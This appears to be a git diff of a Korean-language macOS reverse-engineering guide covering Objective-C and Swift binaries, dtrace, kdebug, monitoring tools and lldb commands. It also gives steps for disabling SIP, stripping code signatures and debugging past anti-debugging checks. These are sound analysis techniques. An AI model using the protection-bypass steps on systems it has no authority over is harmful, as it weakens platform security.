* 두 번째 매개변수인 (**op**)은 "메시지를 처리하는 메소드의 셀렉터"입니다. 간단히 말하면, 이것은 **메소드의 이름**입니다.
|
||||
* 첫 번째 매개변수인 (**self**)은 "메시지를 받을 클래스의 **인스턴스를 가리키는 포인터**"입니다. 간단히 말하면, 메소드가 호출되는 객체입니다. 메소드가 클래스 메소드인 경우, 이것은 클래스 객체의 인스턴스(전체)일 것이며, 인스턴스 메소드의 경우 self는 클래스의 인스턴스로서 구체화된 인스턴스를 가리킵니다.
|
||||
* 두 번째 매개변수인 (**op**)은 "메시지를 처리하는 메소드의 셀렉터"입니다. 다시 말해, 이것은 그냥 **메소드의 이름**입니다.
|
||||
* 나머지 매개변수는 메소드에서 필요로 하는 **값들**입니다 (op).
|
||||
|
||||
ARM64에서 **`lldb`**를 사용하여 이 정보를 쉽게 얻는 방법은 이 페이지에서 확인할 수 있습니다:
|
||||
|
@ -145,21 +145,25 @@ ARM64에서 **`lldb`**를 사용하여 이 정보를 쉽게 얻는 방법은 이
|
|||
|
||||
x64:
|
||||
|
||||
| **인자** | **레지스터** | **(objc\_msgSend용) ** |
|
||||
| **인자** | **레지스터** | **(objc\_msgSend에 대해)** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1번째 인자** | **rdi** | **self: 메소드가 호출되는 객체** |
|
||||
| **2번째 인자** | **rsi** | **op: 메소드의 이름** |
|
||||
| **1번째 인자** | **rdi** | **self: 메소드가 호출되는 객체** |
|
||||
| **2번째 인자** | **rsi** | **op: 메소드의 이름** |
|
||||
| **3번째 인자** | **rdx** | **메소드에 대한 1번째 인자** |
|
||||
| **4번째 인자** | **rcx** | **메소드에 대한 2번째 인자** |
|
||||
| **5번째 인자** | **r8** | **메소드에 대한 3번째 인자** |
|
||||
| **6번째 인자** | **r9** | **메소드에 대한 4번째 인자** |
|
||||
| **7번째+ 인자** | <p><strong>rsp+</strong><br><strong>(스택 상에)</strong></p> | **메소드에 대한 5번째+ 인자** |
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump)은 dylibs에서 Objc-Classes를 가져오는 도구입니다.
|
||||
|
||||
### Swift
|
||||
|
||||
Swift 바이너리의 경우, Objective-C 호환성이 있기 때문에 때로는 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수 있지만 항상 그렇지는 않습니다.
|
||||
Swift 이진 파일의 경우 Objective-C 호환성이 있기 때문에 때로는 [class-dump](https://github.com/nygard/class-dump/)를 사용하여 선언을 추출할 수 있지만 항상 그렇지는 않습니다.
|
||||
|
||||
**`jtool -l`** 또는 **`otool -l`** 명령어를 사용하면 **`__swift5`** 접두어로 시작하는 여러 섹션을 찾을 수 있습니다:
|
||||
**`jtool -l`** 또는 **`otool -l`** 명령줄을 사용하여 **`__swift5`** 접두어로 시작하는 여러 섹션을 찾을 수 있습니다:
|
||||
```bash
|
||||
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
|
||||
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
|
||||
|
@ -171,9 +175,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
더 많은 정보를 [**이 블로그 포스트**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)에서 찾을 수 있습니다.
|
||||
더 많은 정보를 [**이 블로그 게시물**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)에서 찾을 수 있습니다.
|
||||
|
||||
또한, **Swift 이진 파일에는 심볼이 포함**될 수 있습니다 (예: 라이브러리는 함수를 호출하기 위해 심볼을 저장해야 함). **심볼에는 일반적으로 함수 이름과 속성에 대한 정보**가 포함되어 있으며 형식이 지저분하기 때문에 매우 유용하며 "**디멩글러"**가 원래 이름을 가져올 수 있습니다:
|
||||
또한, **Swift 이진 파일에는 심볼이 포함**될 수 있습니다 (예: 라이브러리는 함수를 호출하기 위해 심볼을 저장해야 함). **심볼에는 일반적으로 함수 이름과 속성에 대한 정보**가 지저분한 방식으로 포함되어 있어 매우 유용하며, "**디멩글러"**가 원래 이름을 가져올 수 있습니다:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -184,34 +188,57 @@ swift demangle
|
|||
### 패킹된 이진 파일
|
||||
|
||||
* 고 엔트로피를 확인합니다.
|
||||
* 문자열을 확인합니다 (거의 이해할 수 없는 문자열이 있는지 확인하여 패킹 여부를 확인합니다).
|
||||
* 문자열을 확인합니다 (거의 이해할 수 없는 문자열이 있는 경우, 패킹됨).
|
||||
* MacOS용 UPX 패커는 "\_\_XHDR"이라는 섹션을 생성합니다.
|
||||
|
||||
## 동적 분석
|
||||
|
||||
{% hint style="warning" %}
|
||||
바이너리를 디버깅하려면 **SIP를 비활성화**해야 합니다 (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 바이너리를 임시 폴더로 복사하고 `codesign --remove-signature <binary-path>`로 서명을 **제거**하거나 바이너리의 디버깅을 허용해야 합니다 (이 스크립트를 사용할 수 있습니다 [여기](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)).
|
||||
바이너리를 디버깅하려면 **SIP를 비활성화**해야 합니다 (`csrutil disable` 또는 `csrutil enable --without debug`) 또는 바이너리를 임시 폴더로 복사하고 `codesign --remove-signature <binary-path>`로 서명을 제거하거나 바이너리의 디버깅을 허용해야 합니다 (이 스크립트를 사용할 수 있습니다).
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**시스템 바이너리를** (예: `cloudconfigurationd`) **분석**하려면 macOS에서 **SIP를 비활성화**해야 합니다 (서명을 제거하는 것만으로는 작동하지 않습니다).
|
||||
macOS에서 **시스템 바이너리를 instrument**하려면 (`cloudconfigurationd`와 같은) **SIP를 비활성화**해야 합니다 (서명을 제거하는 것만으로는 작동하지 않습니다).
|
||||
{% endhint %}
|
||||
|
||||
### API
|
||||
|
||||
macOS는 프로세스에 대한 정보를 제공하는 몇 가지 흥미로운 API를 노출합니다:
|
||||
|
||||
* `proc_info`: 각 프로세스에 대한 많은 정보를 제공하는 주요 API입니다. 다른 프로세스 정보를 얻으려면 루트여야 하지만 특별한 권한이나 mach 포트가 필요하지는 않습니다.
|
||||
* `libsysmon.dylib`: XPC 노출 함수를 통해 프로세스 정보를 얻을 수 있게 해줍니다. 그러나 `com.apple.sysmond.client` 엔터티가 필요합니다.
|
||||
|
||||
### Stackshot 및 microstackshots
|
||||
|
||||
**Stackshotting**은 모든 실행 중인 스레드의 콜 스택을 포함하여 프로세스의 상태를 캡처하는 기술입니다. 이는 디버깅, 성능 분석 및 특정 시점에서 시스템의 동작을 이해하는 데 특히 유용합니다. iOS 및 macOS에서는 **`sample`** 및 **`spindump`**와 같은 여러 도구 및 방법을 사용하여 stackshotting을 수행할 수 있습니다.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
이 도구(`/usr/bini/ysdiagnose`)는 기본적으로 `ps`, `zprint` 등 수십 가지 다른 명령을 실행하여 컴퓨터에서 많은 정보를 수집합니다.
|
||||
|
||||
**루트**로 실행해야 하며 `/usr/libexec/sysdiagnosed` 데몬에는 `com.apple.system-task-ports` 및 `get-task-allow`와 같은 매우 흥미로운 엔터티가 있습니다.
|
||||
|
||||
그 plist는 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`에 있으며 3개의 MachServices를 선언합니다:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: /var/rmp의 이전 아카이브를 삭제합니다.
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: 특별 포트 23 (커널)
|
||||
* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C 클래스를 통한 사용자 모드 인터페이스. 사전에 세 개의 인수를 전달할 수 있습니다 (`compress`, `display`, `run`).
|
||||
|
||||
### 통합 로그
|
||||
|
||||
MacOS는 **어플리케이션 실행 중 무엇을 하는지** 이해하는 데 유용한 많은 로그를 생성합니다.
|
||||
MacOS는 응용 프로그램을 실행할 때 매우 유용한 로그를 생성합니다. **응용 프로그램이 무엇을 하는지** 이해하려고 할 때 매우 유용합니다.
|
||||
|
||||
또한, 일부 로그에는 `<private>` 태그가 포함되어 **사용자** 또는 **컴퓨터 식별 가능한** 정보를 **숨기기** 위한 것입니다. 그러나 **이 정보를 공개하기 위해 인증서를 설치**할 수 있습니다. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)의 설명을 따르세요.
|
||||
또한, 일부 로그에는 `<private>` 태그가 포함되어 **사용자** 또는 **컴퓨터** **식별 가능한** 정보를 **숨기기** 위한 것입니다. 그러나 **인증서를 설치하여 이 정보를 공개**할 수 있습니다. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)의 설명을 따르세요.
|
||||
|
||||
### Hopper
|
||||
|
||||
#### 왼쪽 패널
|
||||
|
||||
Hopper의 왼쪽 패널에서는 이진 파일의 심볼 (**라벨**), 프로시저 및 함수 목록 (**Proc**), 문자열 (**Str**)을 볼 수 있습니다. 이들은 Mac-O 파일의 여러 부분에서 정의된 문자열 중 일부이지만 모든 문자열은 아닙니다 (예: _cstring 또는 `objc_methname`).
|
||||
Hopper의 왼쪽 패널에서는 이진 파일의 심볼(**레이블**), 프로시저 및 함수 목록(**Proc**) 및 문자열(**Str**)을 볼 수 있습니다. 이들은 Mac-O 파일의 여러 부분(예: _cstring 또는 objc_methname)에 정의된 문자열이 아니라 모든 문자열은 아닙니다.
|
||||
|
||||
#### 가운데 패널
|
||||
|
||||
가운데 패널에서는 **해석된 코드**를 볼 수 있습니다. **원시** 해석, **그래프**, **디컴파일** 및 **바이너리**로 볼 수 있습니다. 각 아이콘을 클릭하여:
|
||||
가운데 패널에서는 **어셈블리 코드**를 볼 수 있습니다. 그리고 **원시** 어셈블리, **그래프**, **디컴파일** 및 **바이너리**로 볼 수 있습니다. 각 아이콘을 클릭하여:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -219,22 +246,22 @@ Hopper의 왼쪽 패널에서는 이진 파일의 심볼 (**라벨**), 프로시
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또한, **가운데 아래에서 파이썬 명령을 작성**할 수 있습니다.
|
||||
또한 **가운데 아래에서 파이썬 명령을 작성**할 수 있습니다.
|
||||
|
||||
#### 오른쪽 패널
|
||||
|
||||
오른쪽 패널에서는 **탐색 기록** (현재 상황에 도달한 방법을 알 수 있음), **호출 그래프** (이 함수를 호출하는 모든 함수 및 이 함수가 호출하는 모든 함수를 볼 수 있는 그래프) 및 **로컬 변수** 정보와 같은 흥미로운 정보를 볼 수 있습니다.
|
||||
오른쪽 패널에서는 **탐색 기록** (현재 상황에 도달하는 방법을 알 수 있음), **호출 그래프** (이 함수를 호출하는 모든 함수 및 이 함수가 호출하는 모든 함수를 볼 수 있음) 및 **로컬 변수** 정보와 같은 흥미로운 정보를 볼 수 있습니다.
|
||||
|
||||
### dtrace
|
||||
|
||||
Dtrace는 사용자가 **매우 낮은 수준에서 응용 프로그램에 액세스**할 수 있도록 하며 사용자가 **프로그램을 추적**하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 **커널 전체에 배치된 프로브**를 사용하며 시스템 호출의 시작과 끝과 같은 위치에 있습니다.
|
||||
Dtrace는 사용자가 응용 프로그램에 **매우 낮은 수준**에서 액세스할 수 있도록하며 사용자가 **프로그램을 추적**하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 **커널 전체에 배치된** 프로브를 사용하며 시스템 호출의 시작과 끝과 같은 위치에 있습니다.
|
||||
|
||||
DTrace는 각 시스템 호출에 대해 프로브를 생성하기 위해 **`dtrace_probe_create`** 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 **진입점과 종료점에서 발사**될 수 있습니다. DTrace와의 상호 작용은 루트 사용자만 사용할 수 있는 /dev/dtrace를 통해 이루어집니다.
|
||||
DTrace는 각 시스템 호출에 대해 프로브를 생성하기 위해 **`dtrace_probe_create`** 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 **진입점과 종료점에서 발생**할 수 있습니다. DTrace와의 상호 작용은 루트 사용자에게만 사용 가능한 /dev/dtrace를 통해 이루어집니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
SIP 보호를 완전히 비활성화하지 않고 Dtrace를 활성화하려면 복구 모드에서 다음을 실행할 수 있습니다: `csrutil enable --without dtrace`
|
||||
|
||||
**컴파일한 바이너리**를 **`dtrace`** 또는 **`dtruss`**할 수도 있습니다.
|
||||
또한 **컴파일한 바이너리**를 **`dtrace`** 또는 **`dtruss`**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
dtrace의 사용 가능한 프로브는 다음과 같이 얻을 수 있습니다:
|
||||
|
@ -247,7 +274,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
프로브 이름은 네 가지 부분으로 구성됩니다: 제공자, 모듈, 함수 및 이름(`fbt:mach_kernel:ptrace:entry`). 이름의 일부를 지정하지 않으면 Dtrace는 해당 부분을 와일드카드로 적용합니다.
|
||||
프로브 이름은 네 부분으로 구성됩니다: 제공자, 모듈, 함수 및 이름(`fbt:mach_kernel:ptrace:entry`). 이름의 일부를 지정하지 않으면 Dtrace는 해당 부분을 와일드카드로 적용합니다.
|
||||
|
||||
프로브를 활성화하고 발생할 때 수행할 작업을 지정하려면 D 언어를 사용해야 합니다.
|
||||
|
||||
|
@ -305,34 +332,72 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
커널 추적 시설입니다. 문서화된 코드는 **`/usr/share/misc/trace.codes`**에서 찾을 수 있습니다.
|
||||
|
||||
`latency`, `sc_usage`, `fs_usage`, `trace`와 같은 도구들이 내부적으로 사용합니다.
|
||||
|
||||
`kdebug`와 상호 작용하기 위해 `sysctl`은 `kern.kdebug` 네임스페이스를 통해 사용되며 사용할 MIB는 `sys/sysctl.h`에서 찾을 수 있으며 해당 기능은 `bsd/kern/kdebug.c`에 구현되어 있습니다.
|
||||
|
||||
일반적으로 사용자 지정 클라이언트로 kdebug와 상호 작용하기 위해 다음 단계를 따릅니다:
|
||||
|
||||
* 기존 설정을 `KERN_KDSETREMOVE`로 제거합니다.
|
||||
* `KERN_KDSETBUF` 및 `KERN_KDSETUP`으로 추적을 설정합니다.
|
||||
* 버퍼 항목 수를 얻으려면 `KERN_KDGETBUF`를 사용합니다.
|
||||
* 추적에서 자체 클라이언트를 가져오려면 `KERN_KDPINDEX`를 사용합니다.
|
||||
* `KERN_KDENABLE`로 추적을 활성화합니다.
|
||||
* `KERN_KDREADTR`를 호출하여 버퍼를 읽습니다.
|
||||
* 각 스레드를 해당 프로세스와 일치시키려면 `KERN_KDTHRMAP`을 호출합니다.
|
||||
|
||||
이 정보를 얻기 위해 Apple 도구 **`trace`** 또는 사용자 지정 도구 [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**를** 사용할 수 있습니다.
|
||||
|
||||
**Kdebug는 한 번에 한 명의 고객만 사용할 수 있습니다.** 따라서 한 번에 하나의 k-debug 기능 도구만 실행할 수 있습니다.
|
||||
|
||||
### ktrace
|
||||
|
||||
`ktrace_*` API는 `libktrace.dylib`에서 가져오며 `Kdebug`의 API를 래핑합니다. 그런 다음 클라이언트는 `ktrace_session_create` 및 `ktrace_events_[single/class]`를 호출하여 특정 코드에 콜백을 설정한 다음 `ktrace_start`로 시작할 수 있습니다.
|
||||
|
||||
**SIP가 활성화된 상태에서도** 이를 사용할 수 있습니다.
|
||||
|
||||
`ktrace` 유틸리티를 클라이언트로 사용할 수 있습니다:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
또는 `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
이것은 커널 레벨 프로파일링을 수행하는 데 사용되며 `Kdebug` 호출을 사용하여 구축됩니다.
|
||||
|
||||
기본적으로 전역 변수 `kernel_debug_active`가 확인되고 설정되면 `Kdebug` 코드와 호출하는 커널 프레임의 주소와 함께 `kperf_kdebug_handler`를 호출합니다. `Kdebug` 코드가 선택한 코드와 일치하면 "actions"가 비트맵으로 구성된 것을 가져옵니다 (옵션은 `osfmk/kperf/action.h`를 확인하십시오).
|
||||
|
||||
Kperf에는 sysctl MIB 테이블도 있습니다: (루트로) `sysctl kperf`. 이 코드는 `osfmk/kperf/kperfbsd.c`에서 찾을 수 있습니다.
|
||||
|
||||
또한 Kperfs 기능의 하위 집합은 기계 성능 카운터에 대한 정보를 제공하는 `kpc`에 있습니다.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor)은 프로세스가 수행하는 프로세스 관련 작업을 확인하는 매우 유용한 도구입니다 (예: 프로세스가 생성하는 새 프로세스를 모니터링).
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor)는 프로세스가 수행하는 프로세스 관련 작업을 확인하는 매우 유용한 도구입니다 (예: 프로세스가 생성하는 새 프로세스를 모니터링).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간 관계를 출력하는 도구입니다.\
|
||||
**`sudo eslogger fork exec rename create > cap.json`**과 같은 명령으로 맥을 모니터링해야 합니다 (이 명령을 실행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
|
||||
**`sudo eslogger fork exec rename create > cap.json`**과 같은 명령을 사용하여 맥을 모니터링해야 합니다 (이를 시작하는 터미널에 FDA가 필요함). 그런 다음이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
### FileMonitor
|
||||
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)는 파일 이벤트 (생성, 수정, 삭제와 같은)를 모니터링하여 이러한 이벤트에 대한 자세한 정보를 제공합니다.
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)는 파일 이벤트 (생성, 수정, 삭제 등)를 모니터링하여 해당 이벤트에 대한 자세한 정보를 제공합니다.
|
||||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Microsoft Sysinternal의 _Procmon_에서 Windows 사용자가 알 수 있는 외관을 가진 GUI 도구입니다. 이 도구를 사용하면 다양한 이벤트 유형의 녹화를 시작하고 중지할 수 있으며 파일, 프로세스, 네트워크 등과 같은 범주별로 이러한 이벤트를 필터링하고 json 형식으로 기록된 이벤트를 저장할 수 있습니다.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Microsoft Sysinternal의 _Procmon_에서 Windows 사용자가 알 수 있는 룩 앤 필을 가진 GUI 도구입니다. 이 도구를 사용하면 다양한 이벤트 유형의 녹화를 시작하고 중지할 수 있으며 파일, 프로세스, 네트워크 등과 같은 범주별로 이러한 이벤트를 필터링할 수 있으며 녹화된 이벤트를 json 형식으로 저장할 수 있는 기능을 제공합니다.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)은 Xcode의 개발자 도구 일환으로, 애플리케이션 성능을 모니터링하고 메모리 누수를 식별하며 파일 시스템 활동을 추적하는 데 사용됩니다.
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)은 Xcode의 개발자 도구의 일부로, 애플리케이션 성능을 모니터링하고 메모리 누수를 식별하며 파일 시스템 활동을 추적하는 데 사용됩니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -350,18 +415,18 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 SIP가 비활성화되어 있더라도 **`PT_DENY_ATTACH`**를 사용하여 디버깅을 방지하는 실행 중인 데몬을 **디버깅하는 예제**를 찾을 수 있습니다.
|
||||
[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 SIP가 비활성화되어 있더라도 디버깅을 방지하기 위해 **`PT_DENY_ATTACH`**를 사용하는 실행 중인 데몬을 **디버깅**하는 예제를 찾을 수 있습니다.
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb**는 **macOS** 이진 파일 **디버깅**을 위한 **사실상의 도구**입니다.
|
||||
**lldb**는 **macOS** 이진 파일 **디버깅**을 위한 사실상의 도구입니다.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
다음 줄을 포함하는 홈 폴더에 **`.lldbinit`**이라는 파일을 만들어 lldb를 사용할 때 intel flavor를 설정할 수 있습니다:
|
||||
**`.lldbinit`**이라는 파일을 홈 폴더에 만들고 다음 줄을 추가하여 lldb를 사용할 때 intel 플레이버를 설정할 수 있습니다:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -369,10 +434,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
lldb 내에서 `process save-core`를 사용하여 프로세스 덤프
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점이 만나거나 프로세스가 종료될 때까지 계속 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버깅 중인 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령을 실행합니다. 이 명령은 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령을 실행합니다. nexti 명령과 달리, 이 명령은 함수 호출 내부로 진입합니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수("프레임")의 남은 명령을 실행하고 중지합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행 중이거나 계속되고 있다면, 현재 실행 중인 위치에서 프로세스를 중지시킵니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main 함수 호출</p><p>b <binname>`main # 바이너리의 main 함수</p><p>b set -n main --shlib <lib_name> # 지정된 바이너리의 main 함수</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # 중단점 목록</p><p>br e/dis <num> # 중단점 활성화/비활성화</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리 쓰기 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address</strong></td><td>메모리를 널 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i <reg/memory address</strong></td><td>어셈블리 명령으로 메모리를 표시합니다.</td></tr><tr><td><strong>x/b <reg/memory address</strong></td><td>바이트로 메모리를 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Apple의 대부분의 Objective-C API 또는 메서드는 객체를 반환하므로 "print object" (po) 명령을 통해 표시해야 합니다. 의미 있는 출력이 나오지 않는 경우 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수를 어셈블리로 표시합니다.</p><p>dis -n <funcname> # 함수를 어셈블리로 표시합니다.</p><p>dis -n <funcname> -b <basename> # 함수를 어셈블리로 표시합니다.<br>dis -c 6 # 6줄을 어셈블리로 표시합니다.<br>dis -c 0x100003764 -e 0x100003768 # 한 주소부터 다른 주소까지<br>dis -p -c 4 # 현재 주소에서 어셈블리 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점이 만나거나 프로세스가 종료될 때까지 계속 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버깅 중인 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령을 실행합니다. 이 명령은 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령을 실행합니다. nexti 명령과 달리, 이 명령은 함수 호출 내부로 진입합니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수("프레임")의 남은 명령을 실행하고 중지합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행 중이거나 계속 중인 경우, 프로세스가 현재 실행 중인 위치에서 중지됩니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main 함수 호출</p><p>b <binname>`main # 바이너리의 main 함수</p><p>b set -n main --shlib <lib_name> # 지정된 바이너리의 main 함수</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # 중단점 목록</p><p>br e/dis <num> # 중단점 활성화/비활성화</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리 쓰기 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>메모리를 널 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>어셈블리 명령으로 메모리를 표시합니다.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>바이트로 메모리를 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Apple의 대부분의 Objective-C API 또는 메서드는 객체를 반환하므로 "print object" (po) 명령을 통해 표시해야 합니다. po가 유효한 출력을 생성하지 않으면 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수를 어셈블합니다</p><p>dis -n <funcname> # 함수 어셈블</p><p>dis -n <funcname> -b <basename> # 함수 어셈블<br>dis -c 6 # 6줄 어셈블<br>dis -c 0x100003764 -e 0x100003768 # 한 주소부터 다른 주소까지<br>dis -p -c 4 # 현재 주소에서 어셈블 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
**`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터는 널 종료된 ("C") 문자열로 메서드의 이름을 보유합니다. lldb를 통해 이름을 출력하려면 다음을 실행하십시오:
|
||||
**`objc_sendMsg`** 함수를 호출할 때 **rsi** 레지스터는 널 종료된 ("C") 문자열로 메서드의 이름을 보유합니다. lldb를 통해 이름을 출력하려면 다음을 수행합니다:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -394,14 +459,24 @@ lldb 내에서 `process save-core`를 사용하여 프로세스 덤프
|
|||
* **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이는 디버거가 첨부되고 추적되는 것을 방지합니다.
|
||||
